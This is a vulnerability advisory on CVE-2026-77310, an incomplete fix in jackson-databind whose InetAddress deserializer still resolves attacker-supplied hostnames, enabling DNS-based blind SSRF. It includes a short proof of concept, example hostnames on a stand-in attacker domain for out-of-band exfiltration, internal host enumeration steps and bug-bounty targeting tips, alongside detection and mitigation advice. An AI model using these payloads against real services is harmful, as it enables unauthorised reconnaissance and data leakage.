Summary
CVE-2026-77310 describes an incomplete fix for a DNS-based SSRF vulnerability in FasterXML jackson-databind. A prior advisory (GHSA-hgj6-7826-r7m5) addressed eager DNS resolution during deserialization of java.net.InetSocketAddress by switching to InetSocketAddress.createUnresolved(...). However, the sibling java.net.InetAddress branch in the same FromStringDeserializer.Std._deserialize() switch statement was left unpatched and still calls InetAddress.getByName(value), performing an eager forward DNS lookup on attacker-controlled input at deserialization time. The vulnerability is rated MEDIUM with a CVSS 3.1 base score of 5.3.
Technical Analysis
The vulnerability resides in the file src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java, within the FromStringDeserializer.Std._deserialize() method. This method contains a switch statement handling several standard scalar types, including STD_INET_ADDRESS and STD_INET_SOCKET_ADDRESS. These two cases sit side by side in the same switch block, yet only one was remediated in the prior patch effort.
The prior fix modified the InetSocketAddress branch (lines 359-381 plus a helper at lines 494-496) to route through a new helper method _inetSocketAddress(String host, int port), which calls InetSocketAddress.createUnresolved(host, port) instead of performing DNS resolution. The helper includes a comment dated 05-May-2026 referencing databind issue #5951 and explicitly stating the intent to prevent DNS lookup. This comment is significant because it establishes that the development team considered eager DNS resolution during deserialization to be the vulnerability behavior that needed to be eliminated.
However, the InetAddress branch at lines 357-358 was not modified:
case STD_INET_ADDRESS:
return InetAddress.getByName(value); // eager forward DNS lookup
This means that any JSON value deserialized into an InetAddress-typed target still triggers InetAddress.getByName(attackerControlledString), which invokes the OS/JVM resolver and performs forward DNS resolution before any application-level validation occurs. The call to getByName is a blocking operation that contacts the system resolver, which in turn may query upstream DNS servers, potentially over the network.
InetAddress is a registered standard string-like scalar type. According to FromStringDeserializer.types() at line 73 and findDeserializer() at lines 119-120, any field or slot typed as InetAddress is mapped to the STD_INET_ADDRESS deserializer case. This includes plain POJO fields, polymorphic subtypes, and default-typing-permitted slots. The registration means that jackson-databind will automatically select this deserializer whenever it encounters an InetAddress target type, without requiring any explicit annotation or configuration from the developer.
The parent fix’s own added unit test asserts address.isUnresolved() with the comment “should NOT resolve address,” confirming that performing DNS resolution during deserialization is precisely the behavior being treated as the vulnerability. The InetAddress branch still violates that property. The inconsistency between the two sibling branches is the core of this incomplete fix: one branch was hardened against eager DNS resolution while the other was left in its original state, still performing the very operation the patch was designed to prevent.
Verification was performed against the fixed released artifact jackson-databind 2.18.8 from Maven Central. Decompiled bytecode confirms that the InetSocketAddress branch now routes through _inetSocketAddress -> createUnresolved, while InetAddress.getByName is still emitted unchanged in the InetAddress branch. This confirms that the incomplete fix is present in a release that was supposed to have addressed the DNS resolution vulnerability class.
The CVSS 3.1 vector string is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N. Breaking this down: the attack vector is network (AV:N), meaning the attacker can reach the vulnerable deserialization path over a network connection. The attack complexity is low (AC:L), as no special conditions are required beyond supplying a JSON payload with a hostname string. No privileges are required (PR:N), and no user interaction is needed (UI:N). The scope is unchanged (S:U), and the impact is limited to low confidentiality (C:L) with no integrity or availability impact, consistent with a DNS-based SSRF primitive that leaks information through DNS queries but does not directly compromise system integrity or availability.
Affected Software and Versions
- Vendor: maven
- Product: com.fasterxml.jackson.core:jackson-databind
- Affected versions: Versions prior to the fix releases. The fix is released in jackson-databind 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1 based on the referenced release tags.
- Severity: MEDIUM (CVSS 5.3, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
Users should identify which jackson-databind dependency line their application uses and upgrade to the corresponding fixed release. The multiple release lines reflect the project’s maintenance strategy of supporting several major and minor version streams simultaneously. Applications on the 2.18.x line should upgrade to 2.18.9, those on 2.21.x should upgrade to 2.21.5, those on 2.22.x should upgrade to 2.22.1, those on 3.1.x should upgrade to 3.1.5, and those on 3.2.x should upgrade to 3.2.1.
Impact
An attacker who can influence JSON content that is deserialized into an InetAddress target can force the application to perform outbound forward DNS lookups for attacker-chosen hostnames at deserialization time, before any application-level validation. This yields a DNS-based SSRF / out-of-band primitive with two primary capabilities:
- Out-of-band exfiltration and interaction: An attacker can encode data into subdomain labels of a DNS query to an attacker-controlled domain, enabling data exfiltration or blind interaction callbacks via DNS. For example, if an attacker wants to exfiltrate a session token, they can craft a hostname like
session-token-here.attacker-oob.exampleand cause the application to resolve it, sending the token as a subdomain label in the DNS query to the attacker’s authoritative DNS server. - Internal host enumeration: An attacker can probe whether internal hostnames resolve by observing timing differences, error responses, or DNS resolver behavior, enabling blind probing of internal network topology. By supplying candidate internal hostnames and observing whether deserialization succeeds or throws an exception, the attacker can infer which hosts exist in the internal DNS namespace.
This is the same impact class and trust boundary for which the prior advisory (CVSS 5.3, CWE-918) was assigned to the InetSocketAddress branch. It is a DNS-lookup / blind SSRF primitive, not arbitrary HTTP SSRF or remote code execution. The vulnerability does not itself open a network socket; it only triggers DNS resolution. The distinction is important: DNS-based SSRF operates at the resolver level, not at the transport level, so it cannot be used to send arbitrary HTTP requests or establish TCP connections to internal services. However, the DNS query itself can carry exfiltrated data and can reveal internal network configuration.
The confidentiality impact is rated low because the information disclosed through DNS queries is limited to the fact that a resolution occurred and the hostname that was queried. The attacker already controls the hostname, so the disclosure is about confirming that the application performed the lookup and potentially observing the resolved IP address if the attacker can monitor the response. The real value of this primitive is as a side channel for OOB communication and internal reconnaissance, rather than direct data theft.
Exploitation Scenario
Consider an application that accepts JSON configuration and deserializes it into a POJO with an InetAddress-typed field. For example:
static class Config { public InetAddress bindHost; public int port; }
mapper.readValue("{\"bindHost\":\"poc-reach.example\",\"port\":1}", Config.class);
// -> resolver invoked on "poc-reach.example"
When the ObjectMapper processes this JSON, it reaches the STD_INET_ADDRESS case in FromStringDeserializer.Std._deserialize() and calls InetAddress.getByName("poc-reach.example"). The JVM resolver performs a forward DNS lookup for the attacker-chosen hostname before the application has any opportunity to validate or reject the input. This happens automatically as part of the deserialization process, with no additional code path required from the developer.
An attacker can substitute any hostname of their choosing, including attacker-controlled domains that log DNS queries. By encoding sensitive data into subdomain labels (e.g., secret-data.attacker-oob.example), the attacker achieves out-of-band exfiltration via DNS. The DNS query for this hostname will traverse the network, passing through the application’s configured DNS resolver and ultimately reaching the authoritative DNS server for attacker-oob.example, which the attacker controls and can configure to log all incoming queries.
Alternatively, by supplying internal hostnames such as database.internal.corp or admin-panel.internal.corp, the attacker can determine whether they resolve. If the hostname resolves successfully, deserialization proceeds without error. If the hostname does not resolve, InetAddress.getByName() throws an UnknownHostException, which may propagate as a deserialization error. The attacker can observe the application’s response to distinguish between these cases, effectively performing blind internal host enumeration.
The reachability is notable because it requires no special annotations, no polymorphism, and no default typing. A plain POJO field of type InetAddress is sufficient. Any application endpoint that accepts user-controlled JSON and deserializes it into a structure containing an InetAddress field is potentially exploitable. This significantly widens the attack surface compared to vulnerabilities that require specific Jackson features like polymorphic type handling or default typing to be enabled.
A proof-of-concept was demonstrated in a lab environment with zero network egress. Using a custom JDK InetAddressResolver SPI (Java 18+) that counts forward lookups locally and answers with loopback, the following behavior was observed on jackson-databind 2.18.8:
ObjectMapper m = new ObjectMapper();
// InetSocketAddress (patched): 0 resolver lookups, isUnresolved=true
m.readValue("\"internal-metadata.attacker-oob.example:8080\"", InetSocketAddress.class);
// InetAddress (unpatched sibling): 1 resolver lookup on the attacker host
m.readValue("\"internal-metadata.attacker-oob.example\"", InetAddress.class);
Observed output:
[A] InetSocketAddress isUnresolved=true resolverLookups=0 lastHost=null
[B] InetAddress value=localhost/127.0.0.1 resolverLookups=1 lastHost=internal-metadata.attacker-oob.example
A standalone variant without the SPI, using an RFC-6761 .invalid canary host, shows the same pattern: deserializing into InetAddress raises UnknownHostException because the OS resolver was invoked, while InetSocketAddress stays unresolved. This confirms that the InetAddress branch performs eager DNS resolution while the InetSocketAddress branch does not.
Detection and Mitigation
Detection
- Monitor application logs and network traffic for unexpected outbound DNS queries originating from the deserialization layer, particularly queries to attacker-controlled or unusual domains immediately following JSON parse operations.
- Deploy DNS logging and alerting at the resolver or egress layer to detect anomalous query patterns, such as high-entropy subdomains, queries to newly registered domains, or bursts of DNS queries from application servers that do not normally perform DNS lookups as part of their business logic.
- Review application code for POJOs with
InetAddress-typed fields that receive user-controlled JSON input. Pay special attention to configuration endpoints, network settings forms, and service discovery interfaces. - Audit deserialization paths to confirm whether
InetAddress.getByName()is invoked during JSON parsing. Static analysis tools may help identify call chains fromObjectMapper.readValue()toInetAddress.getByName(). - Instrument the JVM with a custom
InetAddressResolverprovider (Java 18+) to log all DNS resolution attempts, including the calling stack trace, to identify which deserialization operations trigger lookups.
Mitigation
- Upgrade jackson-databind: Update to a fixed release: 2.18.9, 2.21.5, 2.22.1, 3.1.5, or 3.2.1, as appropriate for your dependency line. This is the primary and most effective mitigation.
- Input validation before deserialization: Where possible, validate or sanitize hostname strings before they reach the deserializer. Consider accepting hostnames as
Stringfields and performing explicit validation and resolution only after security checks. This approach gives the application full control over when and whether DNS resolution occurs. - Restrict DNS egress: Limit outbound DNS queries from application servers to approved resolvers and block queries to external or untrusted domains where feasible. Network-level DNS filtering can reduce the value of the DNS-based SSRF primitive even if the application-level vulnerability has not yet been patched.
- Custom deserializer: Register a custom deserializer for
InetAddressthat defers or avoids eager DNS resolution, consistent with theInetSocketAddressfix approach. The custom deserializer can store the hostname as a string and only resolve it when the application explicitly requests a connection, after validation. - Network segmentation: Ensure application servers cannot reach unintended DNS resolvers or external networks, reducing the value of the DNS-based SSRF primitive. Place application servers behind DNS firewalls that only permit queries to approved internal resolvers.
- Disable unnecessary InetAddress fields: If POJOs contain
InetAddressfields that do not need to be populated from user input, use Jackson annotations such as@JsonIgnoreto prevent deserialization into those fields.
The suggested upstream fix is to avoid eager resolution for InetAddress as well, for example by deferring resolution, validating the host string before resolving, or providing an opt-in/opt-out mechanism consistent with the InetSocketAddress fix. Since there is no direct unresolved-InetAddress equivalent, deferring, validating, or documenting the resolution behavior is the practical mitigation. The fix commit and pull request referenced in this advisory address this gap.
Bug Bounty Angle
This vulnerability is relevant for bug bounty hunters targeting Java applications that use jackson-databind for JSON deserialization. Key considerations:
- Target identification: Look for application endpoints that accept JSON input and deserialize it into objects containing
InetAddressfields. API endpoints for configuration, network settings, service discovery, or cluster membership are prime candidates. These endpoints often accept host or IP address fields that map naturally toInetAddressin the server-side data model. - Reachability: The vulnerability is reachable through plain POJO fields without requiring polymorphism, default typing, or special annotations, widening the attack surface. This means that even applications with conservative Jackson configurations that disable polymorphic deserialization are still vulnerable if they have
InetAddress-typed fields. - OOB confirmation: Use a DNS callback service (e.g., a Burp Collaborator-style collaborator or a custom DNS listener) to confirm DNS resolution triggered by deserialization. Submit a hostname under your controlled domain and observe the DNS query arriving at your resolver. This provides definitive proof that the application performed DNS resolution during deserialization.
- Impact framing: Frame findings as DNS-based SSRF enabling OOB exfiltration and internal host enumeration. Emphasize that this bypasses the prior fix for the
InetSocketAddressbranch, which many teams may believe already addressed the issue. The incomplete fix means that applications upgraded to what they believed was a patched version remain vulnerable through theInetAddresspath. - Scope check: Confirm the target uses an affected version of jackson-databind (prior to 2.18.9, 2.21.5, 2.22.1, 3.1.5, or 3.2.1). Note that applications on 2.18.8, which was released as a fix for the related
InetSocketAddressissue, are still vulnerable because theInetAddressbranch was not addressed in that release. - Differential testing: Submit the same hostname payload to both
InetAddressandInetSocketAddressfields if the application has both. Observe that theInetSocketAddressfield does not trigger a DNS callback while theInetAddressfield does, demonstrating the incomplete fix.
Frequently Asked Questions
What is CVE-2026-77310?
CVE-2026-77310 is an incomplete fix for a DNS-based SSRF vulnerability in jackson-databind. The InetAddress deserialization branch still calls InetAddress.getByName(), performing eager forward DNS resolution on attacker-controlled input, even though the sibling InetSocketAddress branch was patched in a prior advisory.
What is the severity and CVSS score?
The vulnerability is rated MEDIUM with a CVSS 3.1 base score of 5.3, using the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N. This reflects a network-accessible, low-complexity attack with low confidentiality impact and no integrity or availability impact.
Which versions of jackson-databind are affected?
Versions prior to the fix releases are affected. The fix is available in jackson-databind 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1. Users should upgrade to the appropriate fixed version for their dependency line.
References
- GHSA-vvgp-rfg2-7rr6 – jackson-databind Security Advisory
- CVE-2026-77310 – NVD Detail
- Pull Request #6058 – Fix for InetAddress branch
- Commit 2fc7bd9 – Fix commit
- jackson-databind 2.18.9 Release
- jackson-databind 2.21.5 Release
- jackson-databind 2.22.1 Release
- jackson-databind 3.1.5 Release
- jackson-databind 3.2.1 Release
- GitHub Advisory GHSA-vvgp-rfg2-7rr6
Leave a Reply